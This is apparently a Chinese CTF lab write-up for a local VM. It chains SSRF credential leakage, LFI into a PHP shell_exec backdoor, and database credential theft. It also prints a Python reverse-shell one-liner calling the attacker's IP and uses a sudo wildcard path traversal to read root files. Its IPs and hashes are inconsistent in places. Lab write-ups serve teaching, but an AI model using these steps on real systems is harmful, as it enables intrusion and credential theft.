WEB靶机CTF中难度夺旗流程

发布于 2025-12-23  48 次阅读


在本次 CTF 靶机渗透中,我面对的是一台运行 Web 管理系统的虚拟机。它看似普通,却隐藏着多层权限控制与漏洞链。整个过程从最基础的主机发现开始,逐步深入到 SSRF 利用、凭证泄露、远程命令执行,最终通过 sudo 配置缺陷完成提权,成功获取全部三个 FLAG。


第一阶段:主机发现与目标确认

环境设定

  • 加害机:Kali Linux 2025.1(IP: 172.16.12.144
  • 靶机网络:VMware NAT 模式,子网为 172.16.12.0/24
  • 所有机器均为本地虚拟机

主机扫描

首先,使用 nmap 进行主机存活探测:

Bash编辑nmap -sP 172.16.12.0/24

扫描结果返回 5 台活跃主机:

  • 172.16.12.1.2.254:VMware 网关设备(MAC 地址以 00:50:56 开头)
  • 172.16.12.143:VMware 虚拟机(MAC: 00:0C:29:07:DB:0A
  • 172.16.12.144:攻击机自身

唯一可疑目标为 172.16.12.143,将其作为渗透入口。


第二阶段:Web 应用初探与用户注册

访问 http://172.16.12.143,页面标题为 “Web测试管理系统”,提供两个功能入口:

  • 登录
  • 注册

尝试 SQL 注入

在登录框中输入常见 payload(admin' OR '1'='1 --),但未绕过验证,页面仅提示“用户名或密码错误”。后端可能使用预编译语句或强过滤,SQL 注入不可行。切换至“注册”标签页,填写用户名 jhin 与简单密码 123,提交后成功跳转至欢迎页:

页面显示三个功能模块:

  1. 网站测试功能(可用)
  2. 项目文件查看(需额外登录)
  3. 文件包含测试(需额外登录)

则突破口锁定:优先探索“网站测试功能”。


第三阶段:功能分析与 SSRF 漏洞识别

点击进入“网站测试功能”,URL 为:

Text编辑1http://172.16.12.143/test.php

页面提供一个输入框,允许用户输入任意 URL 进行“安全测试”。尝试输入 http://127.0.0.1,系统返回完整的 HTTP 响应头数组,格式如下:

Array
(
[url] => http://127.0.0.1/
[content_type] => text/html; charset=UTF-8
[http_code] => 200
...

系统不仅访问了内网地址,还将原始响应头暴露给用户——这暗示存在 服务器端请求伪造(SSRF)漏洞。


第四阶段:搭建监听服务捕获请求头

为了进一步利用 SSRF,我在 Kali 上编写了一个简易 Flask 服务,用于记录所有来自靶机的 HTTP 请求头:

Python编辑

启动服务后,在靶机的“网站测试功能”中输入:http://172.16.12.144

Kali 控制台立即输出请求头:

观察输出结果发现为base64,解码后结果为:fuli:wsGdwWQZTu7U4seseGaG

用户名 fuli,密码 wsGdwWQZTu7U4seseGaG

使用该账号登录“项目文件查看”与“文件包含测试”功能,均成功进入。

第五阶段:发现隐藏管理页面与硬编码密码

探索“项目文件查看”功能

在“项目文件查看”页面中,系统要求输入目录路径。尝试输入 /.. 均被拦截,提示:

错误:禁止使用非法路径

但输入 .(当前目录)却成功返回文件列表,路径为:/var/www/html/api

列出的文件包括:

  • filelist.php
  • include.php
  • webtest.php
  • mgmt_page ← 引起注意!

mgmt_page 并无 .php 后缀,但名字明显暗示是“management page”(管理页面)。

访问管理页面

直接在浏览器访问:

Text编辑1http://172.16.12.143/api/mgmt_page

页面显示:

系统维护入口
请输入维护密码:

输入任意内容均无回显。于是右键 → 查看网页源代码,发现一段 PHP 代码竟被直接嵌入 HTML 中:

<?php
// 设置密码
$correct_password_hash = '96e44fa82e5a5263fb92337be422d3eb';

// 检查密码是否正确
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['password'])) {
$input_password = $_GET['password'];

if (strlen($input_password) !== 5) {
$error = "密码长度不正确";
} elseif (md5($input_password) === $correct_password_hash) {
$authenticated = true;

// 如果已认证且传入了cmd参数,执行命令
if (isset($_GET['cmd'])) {
$output = shell_exec($_GET['cmd']);
}
} else {
$error = "密码错误";
}
}
?>

破解 MD5 密码

将哈希值 96e44fa82e5a5263fb9237be422d3eb 提交至在线 MD5 解密平台,结果秒出:

成功获得维护密码:SOUTH


第七阶段:LFI + RCE 实现远程命令执行

问题:维护页面无法直接执行命令

虽然输入 SOUTH 后提示“维护入口已打开!”,但页面没有提供命令输入框,也无法通过 URL 直接传参触发执行。

所以我转向“文件包含测试”功能

该功能允许用户指定一个文件路径进行包含。结合前面发现的 mgmt_page,尝试构造如下 URL:

http://172.16.12.143/api/include.php?file=mgmt_page&password=SOUTH&cmd=ls

关键点:

  • file=mgmt_page:包含管理页面逻辑
  • password=SOUTH:满足认证条件
  • cmd=ls:传入待执行的命令




远程命令执行(RCE)成功!

这意味着我们可以执行任意系统命令,例如:

  • whoami
  • id

至此,攻击面彻底打开,但输出受限,若想稳定获取信息,必须升级为交互式 Shell


同时进行的本地信息侦察

Web 应用通常将 FLAG 放在 Web 根目录。我执行:

cmd=ls /var/www/

返回:cgi-bin flag1.txt html

找到第一个flag

查找数据库配置文件

Web 应用几乎必然连接数据库。常见配置文件名包括 config.phpdatabase.phpdb.php 等。

我向上遍历目录:cmd=ls ..

返回:

api  css  db.php  index.php  js  logout.php  welcome.php

发现 db.php,极可能是数据库配置文件。

立即尝试读取:cmd=cat ../db.php

页面成功返回了完整的 PHP 源码

<?php
$host = 'localhost';
$db = 'web_test_management';
$user = 'root';
$pass = 'bd6d6wEZdTr2QNkk.l';
// ...
?>

获取 MySQL root 密码:bd6d6wEZdTr2QNkk.l

这意味着,一旦获得 Shell,就能直接登录数据库,进一步挖掘用户凭证。

开始尝试能否远程登陆到数据库,发现无法连接到。


第八阶段:RCE 反弹 Shell 获取交互式终端

从命令执行到真实 Shell

虽然我们已能通过 URL 执行任意命令(如 cmd=ls),但这种方式存在明显限制:

  • 输出被 HTML 转义或截断;
  • 无法执行交互式命令(如 sumysql);

因此,必须升级为真正的反向 Shell(reverse shell)

在 Kali 上启动监听

在攻击机(Kali)上开启 Netcat 监听:

Bash编辑1nc -lvp 4444

监听 IP 为 172.16.12.144,端口 4444

构造反弹 Shell Payload

回到“文件包含测试”功能,构造如下 URL(使用 Python 反弹 Shell):

export RHOST="172.16.12.141"; export RPORT=4444; python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

该 payload 会:建立到 172.16.12.144:4444 的 TCP 连接并且启动一个交互式 /bin/sh

成功获取 Shell

Kali 终端立即收到连接:





现在拥有完整的交互式 Shell,用户身份为 Web 服务运行账户( apache)。


第九阶段:本地信息收集与获取 flag1

查看当前用户与权限

Bash编辑  whoami
输出:apache

寻找 flag1

根据 Web 目录结构,尝试查看ls /var/www/

返回:cgi-bin flag1.txt html

读取文件:cat /var/www/flag1.txt

得到第一个 FLAG:flag1{e707593d8a4c4c4db9d4a2f020258e7b}


第十阶段:提取数据库凭证并破解 admin 密码

登录数据库

在 Shell 中直接连接:

mysql -h localhost -u root -p'bd6d6wEZdTr2QNkk.l'

成功进入 MySQL 。

查询用户表

use web_test_management;
select * from users;

结果:

admin 的哈希进行 MD5 破解:

9eaf9317aac50c955575334a93d0b9c → chispa

明文密码为:chispa

在web实际测试中发现admin其实是禁用的,所以此密码用处暂且保留


第十一阶段:切换至 benjamin 用户获取 flag2

查看系统用户

由于现在是以web服务运行账户来进行运行的,所以我需要想办法开始提权,先ls /home
发现用户Benjamin,尝试能否切换到本地用户

尝试切换用户

bash编辑 su benjamin
根据社会工程学的一些猜测,尝试将admin的密码进行输入(chispa)。

切换成功!提示符变为:





读取 flag2

cat /home/benjamin/flag2.txt

输出:

flag2{8437b8760a7a4717ad4e41568a9301e}

第二个 FLAG 到手。


第十二阶段:sudo 路径遍历提权获取 flag3

此时,我们已通过反弹 Shell 和用户切换,以 benjamin 身份登录系统,并成功获取 flag2.txt。但最终目标 flag3.txt 位于根目录:

ls -l /flag3.txt
-r-------- 1 root root 45 Dec 23 18:00 /flag3.txt

权限为 root 独占(仅 root 可读),而当前用户 benjamin 并非 root,也无法通过 su 切换(不知道 root 密码)。

如何在不拥有 root 密码的前提下,读取 root 拥有的文件?

检查 sudo 权限 —— 整个流程中最有意思的漏洞

在 Linux 渗透中,sudo -l 是提权侦察的黄金命令。它能告诉我们:当前用户是否被允许以更高权限运行某些命令?

执行:[benjamin@localhost ~]$ sudo -l

返回关键信息:

[benjamin@localhost api]$ sudo -l
sudo -l
Matching Defaults entries for benjamin on localhost:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User benjamin may run the following commands on localhost:
    (ALL) NOPASSWD: /bin/cat /root/notes/*

后两行配置意味着:benjamin 可以无需密码,以任意用户身份(包括 root)执行 /bin/cat /root/notes/*;但路径被限定在 /root/notes/ 目录下,且使用了通配符 *。乍看之下,这似乎只能读取 /root/notes/ 下的笔记文件,与 flag3.txt 无关。

但经验告诉我:通配符 + 路径未严格校验 = 潜在路径遍历风险


理解通配符 * 的真实行为

很多人误以为 sudo /bin/cat /root/notes/* 中的 * 是“任意文件”的安全白名单。但实际上,* 是由 shell 在执行前展开的,而 sudo 本身并不对路径做语义校验——它只匹配命令行字符串是否符合规则。

更重要的是:如果我们在参数中插入 ..,shell 会先解析路径,再传给 cat

例如:

sudo /bin/cat /root/notes/../1.txt

在 shell 中会被解析为:

sudo /bin/cat /root/secret.txt

sudo 规则检查的是原始命令行是否匹配 /bin/cat /root/notes/*
但由于我们传入的是 /root/notes/../secret.txt其字面形式仍以 /root/notes/ 开头,因此可能绕过检查!所以sudo 的路径限制若依赖通配符 * 且未使用 -- 或严格路径校验,就容易被 ../ 遍历绕过。


最后,构造路径遍历 payload

目标是读取 /flag3.txt。我们需要构造一个以 /root/notes/ 开头、但实际指向 /flag3.txt 的路径。

因此,完整路径为:/root/notes/../../flag3.txt

执行命令:

sudo /bin/cat /root/notes/../..//flag3.txt

系统处理流程:

  1. shell 解析路径 → 实际读取 /flag3.txt
  2. sudo 检查命令是否匹配 /bin/cat /root/notes/* → 匹配成功(因为开头是 /root/notes/
  3. 以 root 权限执行 /bin/cat /flag3.txt → 成功读取

输出:

第三个 FLAG 到手!


为什么这个漏洞存在?—— 开发者常见误区

这个提权点暴露了典型的权限配置错误

错误做法正确做法
使用 * 通配符限制路径(如 /root/notes/*使用具体文件名,或配合 -- 防止参数注入
未意识到 .. 会导致路径穿越对路径进行规范化(canonicalization)后再校验
认为“只要路径开头对就行”应使用绝对路径白名单 + 禁用相对跳转

实际上,安全的 sudo 配置应避免使用 *


一昼一世界,一夜一星河。昼迷天未晓,夜尽终天明。